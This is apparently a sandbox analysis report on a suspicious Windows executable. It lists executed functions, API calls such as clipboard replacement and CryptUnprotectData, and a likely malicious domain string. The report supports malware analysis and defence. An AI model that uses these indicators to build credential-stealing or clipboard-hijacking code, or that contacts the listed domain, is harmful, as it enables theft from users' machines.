0nZF4jIzFcTZOmx498NaKUKg0thMCZrVTTZ77noLjDeuMk3/Xx9BnbG64LAz7lZdg7BmeJzJ9nRh6kv36tsUd7b+Xf7yr0WMVUKErCMy0g1HxQqIENEa0Sj65mZq/3WvXhpJkipT9ZAhjv1sd36yDbsggmS4BNoVgee793LfrL+ahwgyomMx2ZkGlJwbu1qtPrSSFNCNYm2pC4qDUhtoNvKKWLom8umYZQKoNI5i47lXKOZlwGmzhc1iUjs/W/T

Target ID:	0
Start time:	01:43:57
Start date:	06/01/2025
Path:	C:\Users\user\Desktop\un30brGAKP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\un30brGAKP.exe"
Imagebase:	0xd80000
File size:	1'283'584 bytes
MD5 hash:	36DB2173D6F06D276B72EA725D9A81AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	9.5%
Signature Coverage:	62.1%
Total number of Nodes:	169
Total number of Limit Nodes:	9

Executed Functions

Function 00D9062F Relevance: 34.0, APIs: 2, Strings: 17, Instructions: 764
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

B, xrefs: 00D90AF8
@, xrefs: 00D90B76
., xrefs: 00D909F1
4, xrefs: 00D90764
r, xrefs: 00D90B7E
A, xrefs: 00D908BB
-, xrefs: 00D90AF3
A, xrefs: 00D909F6
n, xrefs: 00D90CE4
V, xrefs: 00D9063D
3, xrefs: 00D90E77
0, xrefs: 00D90E6F
;, xrefs: 00D90F88
,, xrefs: 00D90D98
i, xrefs: 00D906A3
K, xrefs: 00D90769
J, xrefs: 00D90E7F

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: ,$-$.$0$3$4$;$@$A$A$B$J$K$V$i$n$r
API String ID: 0-884602667
Opcode ID: cc0e145f9a722dd1eebcd228903d4754e3aa55573aac4e974ede9bc35d72a413
Instruction ID: 6af938426f2ed3d4e0f3d20f68c042517d65998ed9453fbe75e5af7f7951a25d
Opcode Fuzzy Hash: cc0e145f9a722dd1eebcd228903d4754e3aa55573aac4e974ede9bc35d72a413
Instruction Fuzzy Hash: C662B17660C7808FD728DB38C4953AFBBE1AFD5310F198A2ED5D997381DA7488058B63

Function 00DA0D80 Relevance: 20.5, Strings: 16, Instructions: 531
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

w, xrefs: 00DA105D
v, xrefs: 00DA1058
,, xrefs: 00DA12CE
T, xrefs: 00DA0F7D
S, xrefs: 00DA11BE
S, xrefs: 00DA11C3
*, xrefs: 00DA1369
!@, xrefs: 00DA0DB3
X, xrefs: 00DA11B9
t, xrefs: 00DA1062
p, xrefs: 00DA104E
P, xrefs: 00DA11B4
[, xrefs: 00DA0F78
, xrefs: 00DA1364
+, xrefs: 00DA136E
U, xrefs: 00DA0F82

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: AllocateHeap
String ID: $!@$*$+$,$P$S$S$T$U$X$[$p$t$v$w
API String ID: 1279760036-441859427
Opcode ID: 78c4b550f085cbf977c06a0b604e9e196fa7ba119714cbb030a5835520592b86
Instruction ID: 00d1cd79a8a4c87a5733c645c1ff65f33362814d07a2e74a10c130023b9f4d17
Opcode Fuzzy Hash: 78c4b550f085cbf977c06a0b604e9e196fa7ba119714cbb030a5835520592b86
Instruction Fuzzy Hash: F6228D3560C3808FD324DF28C4957AFBBE1AB86314F18892DE5DA87391D7B9C8458B67

Function 037F1000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000001), ref: 037F1032
OpenClipboard.USER32(00000000), ref: 037F103C
GetClipboardData.USER32(0000000D), ref: 037F104C
GlobalLock.KERNEL32(00000000), ref: 037F105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 037F1090
GlobalLock.KERNEL32 ref: 037F10A0
GlobalUnlock.KERNEL32 ref: 037F10C1
EmptyClipboard.USER32 ref: 037F10CB
SetClipboardData.USER32(0000000D), ref: 037F10D6
GlobalFree.KERNEL32 ref: 037F10E3
GlobalUnlock.KERNEL32(?), ref: 037F10ED
CloseClipboard.USER32 ref: 037F10F3
GetClipboardSequenceNumber.USER32 ref: 037F10F9

Memory Dump Source

Source File: 00000000.00000002.4123957443.00000000037F1000.00000020.00000800.00020000.00000000.sdmp, Offset: 037F0000, based on PE: true

Associated: 00000000.00000002.4123937278.00000000037F0000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4123976763.00000000037F2000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_37f0000_un30brGAKP.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: c16039fe815aa1a98fdd1ee042f8d8b4810e55d3dcf42625b0125015506b9c6f
Instruction ID: f161aab5c2c446710b48b0ecdae474b2b42b1452cbe2ba9c033f1504495f0253
Opcode Fuzzy Hash: c16039fe815aa1a98fdd1ee042f8d8b4810e55d3dcf42625b0125015506b9c6f
Instruction Fuzzy Hash: 0221DAB5608254DFD7207B72AC0DB6AB7A8FF08751F498828FA45D6256E7258800D7A2

Function 00D95050 Relevance: 16.7, APIs: 1, Strings: 8, Instructions: 939
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D958EA

Strings

ZX^M, xrefs: 00D9579C
$W#Q, xrefs: 00D9530E
J\, xrefs: 00D95149
g`a, xrefs: 00D9533A
V9, xrefs: 00D957A7
ke, xrefs: 00D9532F
U)QR, xrefs: 00D9577B
M1IJ, xrefs: 00D95791

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: $W#Q$J\$M1IJ$U)QR$V9$ZX^M$g`a$ke
API String ID: 834300711-4063897482
Opcode ID: f9f6034850f459478a300739f0bf7a9304a700b5f582652868302c1f2849d383
Instruction ID: a1a7dee1b3d3031260d3ca84672783a22b8e62de550595448a98820bb6fe6ad5
Opcode Fuzzy Hash: f9f6034850f459478a300739f0bf7a9304a700b5f582652868302c1f2849d383
Instruction Fuzzy Hash: 605265B1908742CBDB259F24D891BAFB7E1FF95310F58493CE48A8B395E7309805CB62

Function 00D8DDBE Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 303
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 00D8DDC5

Strings

gbal, xrefs: 00D8DEA7
k{, xrefs: 00D8DFCA
:!2-, xrefs: 00D8DE92
kZ[X, xrefs: 00D8E06B
+-1', xrefs: 00D8DEAE
}:, xrefs: 00D8DFD8
impossiblekdo.click, xrefs: 00D8E0D9

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: Uninitialize
String ID: +-1'$:!2-$gbal$impossiblekdo.click$kZ[X$k{$}:
API String ID: 3861434553-3814698619
Opcode ID: 93d50dc59a48eff4bcc41f3973c998f493949239e198ac571afda8a6764cdcfd
Instruction ID: 56fc8dd27e699281c708af87ca783a9f734371f87f563c3f2c4ea570fe8c89de
Opcode Fuzzy Hash: 93d50dc59a48eff4bcc41f3973c998f493949239e198ac571afda8a6764cdcfd
Instruction Fuzzy Hash: C091E3741087818FD71A8F29C4E0A62BFA2FF57300B18969CC9D64F79AD7359806DF61

Function 00D91CE0 Relevance: 11.3, APIs: 3, Strings: 2, Instructions: 2539COMMON

Download Yara Rule

Strings

`, xrefs: 00D92E4C
D, xrefs: 00D93CA4

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: D$`
API String ID: 0-881360112
Opcode ID: e72e44f90b862795dc280ba37f1fca217953d43fcd9bddaec42dd35f3612ee9b
Instruction ID: fa8937226290966ec6111c0f2e311b1297c2c897173e326286e182f8f0115506
Opcode Fuzzy Hash: e72e44f90b862795dc280ba37f1fca217953d43fcd9bddaec42dd35f3612ee9b
Instruction Fuzzy Hash: 6F331471D083908FDB14DB3CC8457AABFF1AF56320F0982A9D4A99B3D2D7358945CB62

Function 00DB7BA0 Relevance: 7.8, APIs: 2, Strings: 2, Instructions: 756
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoSetProxyBlanket.COMBASE(44FC42A9,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00DB7F5D
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,EA02F4D2,00000000,00000000,00000000,00000000), ref: 00DB83E3

Strings

~%, xrefs: 00DB7C8E
EBC@, xrefs: 00DB8462

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: BlanketInformationProxyVolume
String ID: EBC@$~%
API String ID: 3048927609-3517279034
Opcode ID: 96b2da78359e201e22cdece697ec399544e8f725db9a567a72675dbc697259b8
Instruction ID: 1d98408d4245be72bffde06f7406c84f74196f8cd9312eb59c838ce9f0b3972c
Opcode Fuzzy Hash: 96b2da78359e201e22cdece697ec399544e8f725db9a567a72675dbc697259b8
Instruction Fuzzy Hash: 7C321171A08351CBE314CF28C8907ABBBE5EFD5714F188A2CE59697391DB74D805CBA2

Function 00D8AC50 Relevance: 4.1, Strings: 3, Instructions: 369
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UXY^, xrefs: 00D8AD85
X, xrefs: 00D8AC6E
LC, xrefs: 00D8AE7C

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: LC$UXY^$X
API String ID: 0-1376803456
Opcode ID: 15b795573b9015edc60b9100d767459968726ce32750601c1b0ccce09cf7f350
Instruction ID: 79c3b9f45605c73a3715b365f2fce9de3fceef583ae0803b74f1f2d0561b2da6
Opcode Fuzzy Hash: 15b795573b9015edc60b9100d767459968726ce32750601c1b0ccce09cf7f350
Instruction Fuzzy Hash: B9B1187024C3549BD310FF2484912AFFBE3EF82314F18896EE5D55B352E676880A8B67

Function 00F3A208 Relevance: 3.9, Strings: 3, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Software\Borland\Locales, xrefs: 00F3A238, 00F3A256
Software\Borland\Delphi\Locales, xrefs: 00F3A274
., xrefs: 00F3A374

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 0-3917250287
Opcode ID: 3924571a20cf18c7ecb181a25a3a06edd47bf7961170626298b53aedfabaac44
Instruction ID: 0bf46f017377bca114904c62743a3cac0ff2a740a87bbf2d8dd12096a02cf434
Opcode Fuzzy Hash: 3924571a20cf18c7ecb181a25a3a06edd47bf7961170626298b53aedfabaac44
Instruction Fuzzy Hash: 4C51A9B1E4434C7EEB25E6A5CC47FEF77AC9B04760F4000A1B644E61C1DAB9DE44ABA1

Function 00D89D30 Relevance: 3.8, Strings: 3, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pq, xrefs: 00D89DD4
WeTg, xrefs: 00D89DBC
`~, xrefs: 00D89D3A

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: WeTg$`~$pq
API String ID: 0-778400715
Opcode ID: ea66e570d09e1c92f9525fb24943c4639283e5ebc588eaed7f7d971d9bbe8a51
Instruction ID: 7bdedad123ea25f2bccda07abdf6b70b45b1d800641398005d3f7fb981b86025
Opcode Fuzzy Hash: ea66e570d09e1c92f9525fb24943c4639283e5ebc588eaed7f7d971d9bbe8a51
Instruction Fuzzy Hash: 9321EE722983414BD300CF95ACC16EBB7A2EFC5314F1D052CE4E40B349EA70590AC7A6

Function 00E2BBD0 Relevance: 3.8, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

kernel32.dll, xrefs: 00E2BC16
ntdll.dll, xrefs: 00E2BBD5, 00E2BBE5
GetProcAddress, xrefs: 00E2BC20

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: GetProcAddress$kernel32.dll$ntdll.dll
API String ID: 0-3551693257
Opcode ID: efff3e9d3bcb3fe11b5614159f8765e97ade5e80b4ea8b89f36e08abc289abe1
Instruction ID: 78194b217eb6f22c9f10076aff03eec2a3456f57599f841abff12fb402b99175
Opcode Fuzzy Hash: efff3e9d3bcb3fe11b5614159f8765e97ade5e80b4ea8b89f36e08abc289abe1
Instruction Fuzzy Hash: F011D2703407215BDB22AB68AC83B6A7790DF85750F211165F945FF38ADFA4EC028775

Function 00DA5A60 Relevance: 2.8, Strings: 2, Instructions: 309COMMON

Download Yara Rule

Strings

~, xrefs: 00DA5D70
u1|y, xrefs: 00DA5D68

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID: u1|y$~
API String ID: 2994545307-3643642673
Opcode ID: e5534e3697a913c5e20b229d26c9da0eed9b346012324cb5d1e0214ce7a80656
Instruction ID: a0948bf46f1d1415d2478f62efcd91f317319dfe7378b73c459332e2dc6c1e09
Opcode Fuzzy Hash: e5534e3697a913c5e20b229d26c9da0eed9b346012324cb5d1e0214ce7a80656
Instruction Fuzzy Hash: AA919E72B047105BDB289E24EC96B6BB392EBC2314F5D853CD9829B34DE674DC0583B1

Function 00E2B710 Relevance: 1.6, APIs: 1, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 00E2B768

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 84b9a57101d7b6d9b75b7fd699b74777c63b94f161037d73ee64e35535f97d1c
Instruction ID: a9fe0b6a3f1ac52e276a274fd80f11c1f6a6ebb8d9fd4e78625432f783f4d23a
Opcode Fuzzy Hash: 84b9a57101d7b6d9b75b7fd699b74777c63b94f161037d73ee64e35535f97d1c
Instruction Fuzzy Hash: 1E0192B6205259BF9B10CE8ADCC5DEBBBACFB8D794B444105FB1897202C270AC15CBB0

Function 00E2B6B8 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 00E2B700

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 97e609df05446f97f27a2cc159a8532ec99cd56b3f06a41629824e2deffd48fd
Instruction ID: edd3d5382422fb685643560947706f8d50c986bb5bba6016ec8be29c875ef1a1
Opcode Fuzzy Hash: 97e609df05446f97f27a2cc159a8532ec99cd56b3f06a41629824e2deffd48fd
Instruction Fuzzy Hash: 02F09CB6104259BF9710CE9ADCC4DEB7B6CEB8D7A4B448015FA1997201C270AD14CBB0

Function 00E2B650 Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtSetInformationFile.NTDLL(?,?,?,?,?), ref: 00E2B677

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: FileInformation
String ID:
API String ID: 4253254148-0
Opcode ID: a78f402a32b6860ae086cae3c1e253ec989b8bfc63771fbfda48aa409549ea31
Instruction ID: 7c185f40b3873c0572f8549caa52e1b7542dbaed9d7fed36b91615df5b11e107
Opcode Fuzzy Hash: a78f402a32b6860ae086cae3c1e253ec989b8bfc63771fbfda48aa409549ea31
Instruction Fuzzy Hash: 94E0ECA1104164BEA610566BEC0DDB77F6CDFC6BB1F148059B589A3150C670AC04D2B0

Function 00D8CFA8 Relevance: 1.5, Strings: 1, Instructions: 275COMMON

Download Yara Rule

Strings

impossiblekdo.click, xrefs: 00D8D2A4

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: impossiblekdo.click
API String ID: 0-3213098517
Opcode ID: 16366961ee741751b3b1ee92ce3457caf8ce251a4355235e181f4a795d2fa526
Instruction ID: 191ecea93277e9ed3028e45d81a639adac01cb9c5362331198026f951f8c0bd7
Opcode Fuzzy Hash: 16366961ee741751b3b1ee92ce3457caf8ce251a4355235e181f4a795d2fa526
Instruction Fuzzy Hash: 72810EB42457808FD325DF29C5A0A627FE2EF56300B19959CD1D68F7A6C37AD802DB21

Function 00DBCCA0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00DBFB7B,00000002,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 00DBCCCE

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID:
